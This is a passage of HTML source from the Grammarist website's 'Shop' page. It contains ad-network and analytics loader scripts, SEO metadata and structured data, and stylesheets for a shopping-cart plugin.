body.page:not(.home):not(.woocommerce-page):not(.logged-in)","devices":["desktop"],"description":"","skip":1,"title":"","type":"stickyPlaylist","enabled":false,"formattedType":"Sticky Playlist","elementSelector":".entry-content > p","id":4080213,"position":"afterend","saveVideoCloseState":false,"shuffle":false,"mobileHeaderSelector":null,"playerId":"wdhUjsC8"}],"partners":{"theTradeDesk":true,"unruly":true,"undertone":true,"gumgum":true,"seedtag":true,"amx":true,"ozone":true,"trustx":true,"pmp":true,"kargo":true,"stickyOutstream":{"desktop":{"enabled":false},"blockedPageSelectors":"body.woocommerce-page, body.logged-in","mobileLocation":null,"thirdPartyGamAdUnitName":null,"allowOnHomepage":false,"mobile":{"enabled":false},"saveVideoCloseState":false,"mobileHeaderSelector":"","allowForPageWithStickyPlayer":{"enabled":false}},"sharethrough":true,"blis":true,"tripleLift":true,"pubMatic":true,"criteo":true,"yahoossp":true,"nativo":true,"stackadapt":true,"equativ":true,"yieldmo":true,"amazonUAM":true,"medianet":true,"rubicon":true,"appNexus":true,"conversant":true,"rise":true,"openx":true,"indexExchange":true}}};</script>
48
49
50<script data-no-optimize="1" data-cfasync="false">
51(function(w, d) {
52	w.adthrive = w.adthrive || {};
53	w.adthrive.cmd = w.adthrive.cmd || [];
54	w.adthrive.plugin = 'adthrive-ads-3.13.0';
55	w.adthrive.host = 'ads.adthrive.com';
56	w.adthrive.integration = 'plugin';
57
58	var commitParam = (w.adthriveCLS && w.adthriveCLS.bucket !== 'prod' && w.adthriveCLS.branch) ? '&commit=' + w.adthriveCLS.branch : '';
59
60	var s = d.createElement('script');
61	s.async = true;
62	s.referrerpolicy='no-referrer-when-downgrade';
63	s.src = 'https://' + w.adthrive.host + '/sites/61d8738a78c5b3001b138d66/ads.min.js?referrer=' + w.encodeURIComponent(w.location.href) + commitParam + '&cb=' + (Math.floor(Math.random() * 100) + 1) + '';
64	var n = d.getElementsByTagName('script')[0];
65	n.parentNode.insertBefore(s, n);
66})(window, document);
67</script>
67
68<link rel="dns-prefetch" href="https://ads.adthrive.com/"><link rel="preconnect" href="https://ads.adthrive.com/"><link rel="preconnect" href="https://ads.adthrive.com/" crossorigin><meta name="viewport" content="width=device-width, initial-scale=1"><!-- Google tag (gtag.js) -->
vendor: 110 bytes, lines 68-69
68
69<script type="text/rocketlazyloadscript" async data-rocket-src="https://www.googletagmanager.com/gtag/js?id=
69G-W5SSB1YVSS
vendor: 13 bytes, line 69
69"></script>
70<script type="text/rocketlazyloadscript">
71  
vendor: 138 bytes, lines 71-75
71window.dataLayer = window.dataLayer || [];
72  function gtag(){dataLayer.push(arguments);}
73  gtag('js', new Date());
74
75  gtag('config', '
75G-W5SSB1YVSS
vendor: 5 bytes, line 75
75');
76</script>
76
77<!-- Search Engine Optimization by Rank Math PRO - https://rankmath.com/ -->
78<title>Shop</title>
79<link data-rocket-prefetch href="https://ads.adthrive.com" rel="dns-prefetch">
80<link data-rocket-prefetch href="https://securepubads.g.doubleclick.net" rel="dns-prefetch">
81<link data-rocket-prefetch href="https://c.aps.amazon-adsystem.com" rel="dns-prefetch">
82<link data-rocket-prefetch href="https://fonts.googleapis.com" rel="dns-prefetch">
83<link data-rocket-preload as="style" href="https://fonts.googleapis.com/css?family=Source%20Sans%20Pro%3Aregular%2C600%2C700%7CBebas%20Neue%3Aregular&#038;display=swap" rel="preload">
84<link href="https://fonts.googleapis.com/css?family=Source%20Sans%20Pro%3Aregular%2C600%2C700%7CBebas%20Neue%3Aregular&#038;display=swap" media="print" onload="this.media=&#039;all&#039;" rel="stylesheet">
85<noscript data-wpr-hosted-gf-parameters=""><link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Source%20Sans%20Pro%3Aregular%2C600%2C700%7CBebas%20Neue%3Aregular&#038;display=swap"></noscript><link rel="preload" data-rocket-preload as="image" href="https://grammarist.com/wp-content/uploads/image-19.png" imagesrcset="https://grammarist.com/wp-content/uploads/image-19.png 1820w, https://grammarist.com/wp-content/uploads/image-19-300x169.png 300w, https://grammarist.com/wp-content/uploads/image-19-1024x576.png 1024w, https://grammarist.com/wp-content/uploads/image-19-768x432.png 768w, https://grammarist.com/wp-content/uploads/image-19-1536x864.png 1536w, https://grammarist.com/wp-content/uploads/image-19-600x338.png 600w" imagesizes="(max-width: 1820px) 100vw, 1820px" fetchpriority="high">
86<meta name="description" content="Best Selling Course:"/>
87<meta name="robots" content="follow, index, max-snippet:-1, max-video-preview:-1, max-image-preview:large"/>
88<link rel="canonical" href="https://grammarist.com/store/" />
89<meta property="og:locale" content="en_US" />
90<meta property="og:type" content="article" />
91<meta property="og:title" content="Shop" />
92<meta property="og:description" content="Best Selling Course:" />
93<meta property="og:url" content="https://grammarist.com/store/" />
94<meta property="og:site_name" content="GRAMMARIST" />
95<meta property="article:publisher" content="https://www.facebook.com/grammaristweb/" />
96<meta property="og:updated_time" content="2025-02-11T07:27:11-06:00" />
97<meta property="og:image" content="https://grammarist.com/wp-content/uploads/image-19.png" />
98<meta property="og:image:secure_url" content="https://grammarist.com/wp-content/uploads/image-19.png" />
99<meta property="og:image:width" content="1820" />
100<meta property="og:image:height" content="1024" />
101<meta property="og:image:alt" content="Shop" />
102<meta property="og:image:type" content="image/png" />
103<meta property="article:published_time" content="2024-12-13T15:36:54-06:00" />
104<meta property="article:modified_time" content="2025-02-11T07:27:11-06:00" />
105<meta name="twitter:card" content="summary_large_image" />
106<meta name="twitter:title" content="Shop" />
107<meta name="twitter:description" content="Best Selling Course:" />
108<meta name="twitter:site" content="@_grammarist" />
109<meta name="twitter:creator" content="@_grammarist" />
110<meta name="twitter:image" content="https://grammarist.com/wp-content/uploads/image-19.png" />
111<script type="application/ld+json" class="rank-math-schema-pro">{"@context":"https://schema.org","@graph":[{"@type":"Organization","@id":"https://grammarist.com/#organization","name":"Grammarist","url":"https://grammarist.com","sameAs":["https://www.facebook.com/grammaristweb/","https://twitter.com/_grammarist"],"logo":{"@type":"ImageObject","@id":"https://grammarist.com/#logo","url":"http://grammarist.com/wp-content/uploads/2016/08/GR-Logo.png","contentUrl":"http://grammarist.com/wp-content/uploads/2016/08/GR-Logo.png","caption":"GRAMMARIST","inLanguage":"en-US","width":"312","height":"89"}},{"@type":"WebSite","@id":"https://grammarist.com/#website","url":"https://grammarist.com","name":"GRAMMARIST","publisher":{"@id":"https://grammarist.com/#organization"},"inLanguage":"en-US"},{"@type":"ImageObject","@id":"https://grammarist.com/wp-content/uploads/image-19.png","url":"https://grammarist.com/wp-content/uploads/image-19.png","width":"200","height":"200","inLanguage":"en-US"},{"@type":"BreadcrumbList","@id":"https://grammarist.com/store/#breadcrumb","itemListElement":[{"@type":"ListItem","position":"1","item":{"@id":"https://grammarist.com","name":"Home"}},{"@type":"ListItem","position":"2","item":{"@id":"https://grammarist.com/store/","name":"Shop"}}]},{"@type":"WebPage","@id":"https://grammarist.com/store/#webpage","url":"https://grammarist.com/store/","name":"Shop","datePublished":"2024-12-13T15:36:54-06:00","dateModified":"2025-02-11T07:27:11-06:00","isPartOf":{"@id":"https://grammarist.com/#website"},"primaryImageOfPage":{"@id":"https://grammarist.com/wp-content/uploads/image-19.png"},"inLanguage":"en-US","breadcrumb":{"@id":"https://grammarist.com/store/#breadcrumb"}},{"@type":"Person","@id":"https://grammarist.com/contributor/","url":"https://grammarist.com/contributor/","image":{"@type":"ImageObject","@id":"https://secure.gravatar.com/avatar/?s=96&amp;d=mm&amp;r=g","url":"https://secure.gravatar.com/avatar/?s=96&amp;d=mm&amp;r=g","inLanguage":"en-US"},"worksFor":{"@id":"https://grammarist.com/#organization"}},{"@type":"Article","headline":"Shop","datePublished":"2024-12-13T15:36:54-06:00","dateModified":"2025-02-11T07:27:11-06:00","author":{"@id":"https://grammarist.com/contributor/"},"publisher":{"@id":"https://grammarist.com/#organization"},"description":"Best Selling Course:","name":"Shop","@id":"https://grammarist.com/store/#richSnippet","isPartOf":{"@id":"https://grammarist.com/store/#webpage"},"image":{"@id":"https://grammarist.com/wp-content/uploads/image-19.png"},"inLanguage":"en-US","mainEntityOfPage":{"@id":"https://grammarist.com/store/#webpage"}}]}</script>
111
112<!-- /Rank Math WordPress SEO plugin -->
113
114<script type="text/rocketlazyloadscript" data-rocket-type='application/javascript'  id='pys-version-script'>console.log('PixelYourSite Free version 11.4.1');</script>
114
115<link rel='dns-prefetch' href='//js.surecart.com' />
116<link href='https://fonts.gstatic.com' crossorigin rel='preconnect' />
117<link href='https://fonts.googleapis.com' crossorigin rel='preconnect' />
118<link rel="alternate" type="application/rss+xml" title="GRAMMARIST &raquo; Feed" href="https://grammarist.com/feed/" />
119<link rel="alternate" type="application/rss+xml" title="GRAMMARIST &raquo; Comments Feed" href="https://grammarist.com/comments/feed/" />
120<link rel="alternate" title="oEmbed (JSON)" type="application/json+oembed" href="https://grammarist.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fgrammarist.com%2Fstore%2F" />
121<link rel="alternate" title="oEmbed (XML)" type="text/xml+oembed" href="https://grammarist.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fgrammarist.com%2Fstore%2F&#038;format=xml" />
122<!-- This site is converting visitors into subscribers and customers with OptinMonster - https://optinmonster.com -->
123<script type="text/rocketlazyloadscript">(function(d,u,ac,a){var s=d.createElement('script');s.type='text/javascript';s.src='https://ced531.grammarist.com/app/js/api.min.js';s.async=true;s.dataset.user=u;s.dataset.account=ac;s.dataset.api=a;d.getElementsByTagName('head')[0].appendChild(s);})(document,79454,89360,'campaigns');</script>
123
124<!-- / https://optinmonster.com --><style id="wp-img-auto-sizes-contain-inline-css">
125img:is([sizes=auto i],[sizes^="auto," i]){contain-intrinsic-size:3000px 1500px}
126/*# sourceURL=wp-img-auto-sizes-contain-inline-css */
127</style>
128<link data-minify="1" rel='stylesheet' id='surecart-tag-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/surecart/packages/blocks-next/build/styles/tag.css?ver=1789058374' media='all' />
129<style id="surecart-slide-out-cart-header-style-2-inline-css">
130.wp-block-surecart-slide-out-cart-header{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between}.wp-block-surecart-slide-out-cart-header button{background:none;border:none;-webkit-box-shadow:none;box-shadow:none;color:var(--sc-primary-color);cursor:pointer;margin:0;padding:0}.wp-block-surecart-slide-out-cart-header button:focus{-webkit-box-shadow:0 0 0 var(--sc-focus-ring-width) var(--sc-focus-ring-color-primary);box-shadow:0 0 0 var(--sc-focus-ring-width) var(--sc-focus-ring-color-primary);outline:none}.wp-block-surecart-slide-out-cart-header__title{overflow:hidden;padding:0 var(--sc-spacing-small);text-align:center;text-overflow:ellipsis;white-space:nowrap}.wp-block-surecart-slide-out-cart-header__close,.wp-block-surecart-slide-out-cart-header__close svg{cursor:pointer;height:20px;width:20px}
131
132/*# sourceURL=https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/blocks/cart-header/style-index.css */
133</style>
134<link rel='stylesheet' id='sureforms-pro-custom-styles-css' href='https://grammarist.com/wp-content/plugins/sureforms-pro/assets/css/minified/custom-styles.min.css?ver=2.12.7' media='all' />
135<link data-minify="1" rel='stylesheet' id='surecart-line-item-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/surecart/packages/blocks-next/build/styles/line-item.css?ver=1789058374' media='all' />
136<link data-minify="1" rel='stylesheet' id='surecart-product-line-item-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/surecart/packages/blocks-next/build/styles/product-line-item.css?ver=1789058374' media='all' />
137<link data-minify="1" rel='stylesheet' id='surecart-input-group-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/surecart/packages/blocks-next/build/styles/input-group.css?ver=1789058374' media='all' />
138<link data-minify="1" rel='stylesheet' id='surecart-quantity-selector-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/surecart/packages/blocks-next/build/styles/quantity-selector.css?ver=1789058374' media='all' />
139<style id="surecart-slide-out-cart-items-style-5-inline-css">
140.wp-block-surecart-cart-items__wrapper{-webkit-box-flex:1;display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex:1 1 200px;flex:1 1 200px;gap:1.25em;overflow:auto;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column}.wp-block-surecart-cart-items__wrapper .sc-quantity-selector{margin-top:var(--sc-spacing-small)}.wp-block-surecart-cart-items__wrapper .sc-quantity-selector[hidden]{display:none}.wp-block-surecart-cart-items__wrapper .sc-product-line-item__remove-button{background:none;border:none;-webkit-box-shadow:none;box-shadow:none;padding:0}.wp-block-surecart-cart-items__wrapper .sc-product-line-item__remove-button:focus{-webkit-box-shadow:0 0 0 var(--sc-focus-ring-width) var(--sc-focus-ring-color-primary);box-shadow:0 0 0 var(--sc-focus-ring-width) var(--sc-focus-ring-color-primary);outline:none}.wp-block-surecart-cart-items__wrapper .sc-product-line-item__purchasable-status{color:var(--sc-input-error-text-color);font-size:var(--sc-font-size-x-small)}.wp-block-surecart-cart-items__wrapper .sc-bundle-components{margin-top:var(--sc-spacing-small)}.wp-block-surecart-cart-items__wrapper .sc-bundle-components[hidden]{display:none}.wp-block-surecart-cart-items__wrapper .sc-bundle-components__label{color:var(--sc-color-gray-600);font-size:var(--sc-font-size-x-small);font-weight:var(--sc-font-weight-semibold);margin-bottom:var(--sc-spacing-xx-small)}.wp-block-surecart-cart-items__wrapper .sc-bundle-components__item{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;gap:var(--sc-spacing-x-small);padding:var(--sc-spacing-xx-small) 0}.wp-block-surecart-cart-items__wrapper .sc-bundle-components__item-image{border:1px solid var(--sc-color-gray-200);border-radius:var(--sc-border-radius-small,4px);height:24px;-o-object-fit:cover;object-fit:cover;width:24px;-ms-flex-negative:0;flex-shrink:0}.wp-block-surecart-cart-items__wrapper .sc-bundle-components__item-image[hidden]{display:none}.wp-block-surecart-cart-items__wrapper .sc-bundle-components__item-name{color:var(--sc-color-gray-600);font-size:var(--sc-font-size-x-small);overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.wp-block-surecart-cart-items__wrapper .sc-bundle-components__savings{color:var(--sc-color-success-700,#15803d);font-size:var(--sc-font-size-x-small);font-weight:var(--sc-font-weight-semibold);margin-top:var(--sc-spacing-xx-small)}.wp-block-surecart-cart-items__wrapper .sc-bundle-components__savings[hidden]{display:none}
141
142/*# sourceURL=https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/blocks/cart-items/style-index.css */
143</style>
144<link data-minify="1" rel='stylesheet' id='surecart-coupon-form-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/surecart/packages/blocks-next/build/styles/coupon-form.css?ver=1789058374' media='all' />
145<link data-minify="1" rel='stylesheet' id='surecart-form-control-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/surecart/packages/blocks-next/build/styles/form-control.css?ver=1789058374' media='all' />
146<style id="surecart-slide-out-cart-coupon-style-4-inline-css">
147.wp-block-surecart-slide-out-cart-coupon .trigger{cursor:pointer}.wp-block-surecart-slide-out-cart-coupon .trigger:hover{text-decoration:underline}.wp-block-surecart-slide-out-cart-coupon .sc-tag button{background:rgba(0,0,0,0);border:none;-webkit-box-shadow:none;box-shadow:none;color:var(--sc-color-gray-700);cursor:pointer;margin-left:.5em;padding:0}.wp-block-surecart-slide-out-cart-coupon .sc-tag button:focus{-webkit-box-shadow:0 0 0 var(--sc-focus-ring-width) var(--sc-focus-ring-color-primary);box-shadow:0 0 0 var(--sc-focus-ring-width) var(--sc-focus-ring-color-primary);outline:none}.wp-block-surecart-slide-out-cart-coupon .sc-tag button svg{height:16px;width:16px}.wp-block-surecart-slide-out-cart-coupon .sc-line-item__price-description[hidden]{display:none}.wp-block-surecart-slide-out-cart-coupon .sc-coupon-input-label{font-size:var(--sc-input-label-font-size-medium);font-style:normal;font-weight:var(--sc-font-weight-normal);margin-bottom:var(--sc-input-label-margin)}
148
149/*# sourceURL=https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/blocks/cart-coupon/style-index.css */
150</style>
151<style id="surecart-slide-out-cart-bump-line-item-style-2-inline-css">
152.wp-block-surecart-slide-out-cart-bump-line-item .sc-bump-line-item__description{font-size:var(--sc-price-label-font-size,var(--sc-input-help-text-font-size-medium));line-height:var(--sc-line-height-dense)}.wp-block-surecart-slide-out-cart-bump-line-item .sc-bump-line-item__price{font-size:var(--sc-font-size-medium);font-weight:var(--sc-font-weight-semibold);line-height:var(--sc-line-height-dense)}
153
154/*# sourceURL=https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/blocks/cart-bump-line-item/style-index.css */
155</style>
156<link data-minify="1" rel='stylesheet' id='surecart-wp-buttons-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/surecart/packages/blocks-next/build/styles/wp-buttons.css?ver=1789058374' media='all' />
157<link data-minify="1" rel='stylesheet' id='surecart-wp-button-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/surecart/packages/blocks-next/build/styles/wp-button.css?ver=1789058374' media='all' />
158<style id="surecart-slide-out-cart-submit-style-3-inline-css">
159.sc-cart-submit__wrapper a.wp-block-button__link{-webkit-box-sizing:border-box;box-sizing:border-box;display:block;position:relative;text-align:center;text-decoration:none;width:100%}.sc-cart-submit__wrapper a.wp-block-button__link:focus{-webkit-box-shadow:0 0 0 var(--sc-focus-ring-width) var(--sc-focus-ring-color-primary);box-shadow:0 0 0 var(--sc-focus-ring-width) var(--sc-focus-ring-color-primary);outline:none}.sc-cart-submit__wrapper.wp-block-buttons>.wp-block-button{display:block;text-decoration:none!important;width:100%}
160
161/*# sourceURL=https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/blocks/cart-submit/style-index.css */
162</style>
163<style id="wp-block-button-inline-css">
164.wp-block-button__link{align-content:center;box-sizing:border-box;cursor:pointer;display:inline-block;height:100%;text-align:center;word-break:break-word}.wp-block-button__link.aligncenter{text-align:center}.wp-block-button__link.alignright{text-align:right}:where(.wp-block-button__link){border-radius:9999px;box-shadow:none;padding:calc(.667em + 2px) calc(1.333em + 2px);text-decoration:none}.wp-block-button[style*=text-decoration] .wp-block-button__link{text-decoration:inherit}.wp-block-buttons>.wp-block-button.has-custom-width{max-width:none}.wp-block-buttons>.wp-block-button.has-custom-width .wp-block-button__link{width:100%}.wp-block-buttons>.wp-block-button.has-custom-font-size .wp-block-button__link{font-size:inherit}.wp-block-buttons>.wp-block-button[class*=wp-block-button__width]{width:calc(var(--wp--block-button--width)*1% - var(--wp--style--block-gap, .5em)*(1 - var(--wp--block-button--width)/100))}.wp-block-buttons>.wp-block-button.wp-block-button__width-25{width:calc(25% - var(--wp--style--block-gap, .5em)*.75)}.wp-block-buttons>.wp-block-button.wp-block-button__width-50{width:calc(50% - var(--wp--style--block-gap, .5em)*.5)}.wp-block-buttons>.wp-block-button.wp-block-button__width-75{width:calc(75% - var(--wp--style--block-gap, .5em)*.25)}.wp-block-buttons>.wp-block-button.wp-block-button__width-100{flex-basis:100%;width:100%}.wp-block-buttons.is-vertical>.wp-block-button[class*=wp-block-button__width]{width:calc(var(--wp--block-button--width)*1%)}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-25{width:25%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-50{width:50%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-75{width:75%}.wp-block-button.is-style-squared,.wp-block-button__link.wp-block-button.is-style-squared{border-radius:0}.wp-block-button.no-border-radius,.wp-block-button__link.no-border-radius{border-radius:0!important}:root :where(.wp-block-button .wp-block-button__link.is-style-outline),:root :where(.wp-block-button.is-style-outline>.wp-block-button__link){border:2px solid;padding:.667em 1.333em}:root :where(.wp-block-button .wp-block-button__link.is-style-outline:not(.has-text-color)),:root :where(.wp-block-button.is-style-outline>.wp-block-button__link:not(.has-text-color)){color:currentColor}:root :where(.wp-block-button .wp-block-button__link.is-style-outline:not(.has-background)),:root :where(.wp-block-button.is-style-outline>.wp-block-button__link:not(.has-background)){background-color:transparent;background-image:none}
165/*# sourceURL=https://grammarist.com/wp-includes/blocks/button/style.min.css */
166</style>
167<link data-minify="1" rel='stylesheet' id='surecart-drawer-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/surecart/packages/blocks-next/build/styles/drawer.css?ver=1789058374' media='all' />
168<link data-minify="1" rel='stylesheet' id='surecart-block-ui-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/surecart/packages/blocks-next/build/styles/block-ui.css?ver=1789058374' media='all' />
169<link data-minify="1" rel='stylesheet' id='surecart-alert-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/surecart/packages/blocks-next/build/styles/alert.css?ver=1789058374' media='all' />
170<style id="surecart-slide-out-cart-style-4-inline-css">
171.wp-block-surecart-slide-out-cart{-webkit-box-flex:1;border:var(--sc-drawer-border);-webkit-box-shadow:0 1px 2px rgba(13,19,30,.102);box-shadow:0 1px 2px rgba(13,19,30,.102);color:var(--sc-cart-main-label-text-color);-ms-flex:1 1 auto;flex:1 1 auto;font-size:16px;margin:auto;overflow:auto;width:100%}.wp-block-surecart-slide-out-cart .sc-alert{border-radius:0}.wp-block-surecart-slide-out-cart .sc-alert__icon svg{height:24px;width:24px}.wp-block-surecart-slide-out-cart .sc-alert :not(:first-child){margin-bottom:0}html:has(.sc-drawer.open){overflow:hidden;scrollbar-gutter:stable}:where(.sc-cart-drawer) :where(.is-layout-flex){display:-webkit-box;display:-ms-flexbox;display:flex;gap:var(--wp--style--block-gap,.5em)}
171:where(.sc-cart-drawer) :where(.is-layout-grid){display:-ms-grid;display:grid}:where(.sc-cart-drawer) :where(.is-layout-flow)>:first-child{-webkit-margin-before:0;margin-block-start:0}:where(.sc-cart-drawer) :where(.is-layout-flow)>*+*{-webkit-margin-before:var(--wp--style--block-gap,.5em);margin-block-start:var(--wp--style--block-gap,.5em)}:where(.sc-cart-drawer) :where(.wp-block-surecart-slide-out-cart-line-items)>*+*{-webkit-margin-before:var(--wp--style--block-gap,2em);margin-block-start:var(--wp--style--block-gap,2em)}
172
173/*# sourceURL=https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/blocks/cart/style-index.css */
174</style>
175<link data-minify="1" rel='stylesheet' id='surecart-theme-base-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/surecart/packages/blocks-next/build/styles/theme-base.css?ver=1789058374' media='all' />
176<style id="surecart-theme-base-inline-css">
177@-webkit-keyframes sheen{0%{background-position:200% 0}to{background-position:-200% 0}}@keyframes sheen{0%{background-position:200% 0}to{background-position:-200% 0}}sc-form{display:block}sc-form>:not(:last-child){margin-bottom:var(--sc-form-row-spacing,.75em)}sc-form>:not(:last-child).wp-block-spacer{margin-bottom:0}sc-invoice-details:not(.hydrated),sc-invoice-details:not(:defined){display:none}sc-customer-email:not(.hydrated),sc-customer-email:not(:defined),sc-customer-name:not(.hydrated),sc-customer-name:not(:defined),sc-input:not(.hydrated),sc-input:not(:defined){-webkit-animation:sheen 3s ease-in-out infinite;animation:sheen 3s ease-in-out infinite;background:-webkit-gradient(linear,right top,left top,from(rgba(75,85,99,.2)),color-stop(rgba(75,85,99,.1)),color-stop(rgba(75,85,99,.1)),to(rgba(75,85,99,.2)));background:linear-gradient(270deg,rgba(75,85,99,.2),rgba(75,85,99,.1),rgba(75,85,99,.1),rgba(75,85,99,.2));background-size:400% 100%;border-radius:var(--sc-input-border-radius-medium);display:block;height:var(--sc-input-height-medium)}sc-button:not(.hydrated),sc-button:not(:defined),sc-order-submit:not(.hydrated),sc-order-submit:not(:defined){-webkit-animation:sheen 3s ease-in-out infinite;animation:sheen 3s ease-in-out infinite;background:-webkit-gradient(linear,right top,left top,from(rgba(75,85,99,.2)),color-stop(rgba(75,85,99,.1)),color-stop(rgba(75,85,99,.1)),to(rgba(75,85,99,.2)));background:linear-gradient(270deg,rgba(75,85,99,.2),rgba(75,85,99,.1),rgba(75,85,99,.1),rgba(75,85,99,.2));background-size:400% 100%;border-radius:var(--sc-input-border-radius-medium);color:rgba(0,0,0,0);display:block;height:var(--sc-input-height-large);text-align:center;width:auto}sc-order-summary:not(.hydrated),sc-order-summary:not(:defined){-webkit-animation:sheen 3s ease-in-out infinite;animation:sheen 3s ease-in-out infinite;background:-webkit-gradient(linear,right top,left top,from(rgba(75,85,99,.2)),color-stop(rgba(75,85,99,.1)),color-stop(rgba(75,85,99,.1)),to(rgba(75,85,99,.2)));background:linear-gradient(270deg,rgba(75,85,99,.2),rgba(75,85,99,.1),rgba(75,85,99,.1),rgba(75,85,99,.2));background-size:400% 100%;border-radius:var(--sc-input-border-radius-medium);color:rgba(0,0,0,0);display:block;height:var(--sc-input-height-large);text-align:center;width:auto}sc-tab-group:not(.hydrated),sc-tab-group:not(:defined),sc-tab:not(.hydrated),sc-tab:not(:defined){visibility:hidden}sc-column:not(.hydrated),sc-column:not(:defined){opacity:0;visibility:hidden}sc-columns{-webkit-box-sizing:border-box;box-sizing:border-box;display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap!important;flex-wrap:wrap!important;gap:var(--sc-column-spacing,var(--sc-spacing-xxxx-large));margin-left:auto;margin-right:auto;width:100%;-webkit-box-align:initial!important;-ms-flex-align:initial!important;align-items:normal!important}@media(min-width:782px){sc-columns{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}}sc-columns.are-vertically-aligned-top{-webkit-box-align:start;-ms-flex-align:start;align-items:flex-start}sc-columns.are-vertically-aligned-center{-webkit-box-align:center;-ms-flex-align:center;align-items:center}sc-columns.are-vertically-aligned-bottom{-webkit-box-align:end;-ms-flex-align:end;align-items:flex-end}@media(max-width:781px){sc-columns:not(.is-not-stacked-on-mobile).is-full-height>sc-column{padding:30px!important}sc-columns:not(.is-not-stacked-on-mobile)>sc-column{-ms-flex-preferred-size:100%!important;flex-basis:100%!important}}@media(min-width:782px){sc-columns:not(.is-not-stacked-on-mobile)>sc-column{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1}sc-columns:not(.is-not-stacked-on-mobile)>sc-column[style*=flex-basis]{-webkit-box-flex:0;-ms-flex-positive:0;flex-grow:0}}sc-columns.is-not-stacked-on-mobile{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}sc-columns.is-not-stacked-on-mobile>sc-column{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1}sc-columns.is-not-stacked-on-mobile>sc-column[style*=flex-basis]{-webkit-box-flex:0;-ms-flex-positive:0;flex-grow:0}sc-column{display:block;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;min-width:0;overflow-wrap:break-word;word-break:break-word}sc-column.is-vertically-aligned-top{-ms-flex-item-align:start;align-self:flex-start}sc-column.is-vertically-aligned-center{-ms-flex-item-align:center;-ms-grid-row-align:center;align-self:center}sc-column.is-vertically-aligned-bottom{-ms-flex-item-align:end;align-self:flex-end}sc-column.is-vertically-aligned-bottom,sc-column.is-vertically-aligned-center,sc-column.is-vertically-aligned-top{width:100%}@media(min-width:782px){sc-column.is-sticky{position:sticky!important;-ms-flex-item-align:start;align-self:flex-start;top:0}}sc-column>:not(.wp-block-spacer):not(:last-child):not(.is-empty):not(style){margin-bottom:var(--sc-form-row-spacing,.75em)}sc-column>:not(.wp-block-spacer):not(:last-child):not(.is-empty):not(style):not(.is-layout-flex){display:block}.hydrated{visibility:inherit}
178:root {--sc-color-primary-500: #42b99f;--sc-focus-ring-color-primary: #42b99f;--sc-input-border-color-focus: #42b99f;--sc-color-gray-900: #000;--sc-color-primary-text: #ffffff;--wp--preset--color--surecart: #42b99f;}
179/*# sourceURL=surecart-theme-base-inline-css */
180</style>
181<style id="surecart-cart-icon-style-inline-css">
182.wp-block-surecart-cart-icon{background:var(--sc-cart-icon-background,var(--sc-color-primary-500));border-radius:var(--sc-cart-icon-border-radius,var(--sc-input-border-radius-medium));bottom:var(--sc-cart-icon-bottom,30px);-webkit-box-shadow:var(--sc-shadow-small);box-shadow:var(--sc-shadow-small);color:var(--sc-cart-icon-color,var(--sc-color-primary-text,var(--sc-color-white)));cursor:pointer;font-family:var(--sc-cart-font-family,var(--sc-input-font-family));font-weight:var(--sc-font-weight-semibold);height:var(--sc-cart-icon-height,60px);left:var(--sc-cart-icon-left,auto);position:fixed;right:var(--sc-cart-icon-right,30px);top:var(--sc-cart-icon-top,auto);-webkit-transition:opacity var(--sc-transition-medium) ease;transition:opacity var(--sc-transition-medium) ease;width:var(--sc-cart-icon-width,60px);z-index:var(--sc-cart-icon-z-index,99)}.wp-block-surecart-cart-icon[hidden]{display:none}.wp-block-surecart-cart-icon:hover{opacity:.8}.wp-block-surecart-cart-icon__container{display:-webkit-box;display:-ms-flexbox;display:flex;font-size:24px;line-height:0;position:relative;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;height:100%;justify-content:center;text-align:center}.wp-block-surecart-cart-icon__icon{cursor:pointer;font-size:var(--sc-cart-icon-size,1.1em)}.wp-block-surecart-cart-icon__icon svg{color:var(--sc-color-white)}.wp-block-surecart-cart-icon__count{background:var(--sc-cart-counter-background,var(--sc-color-gray-900));border-radius:var(--sc-cart-counter-border-radius,9999px);bottom:auto;
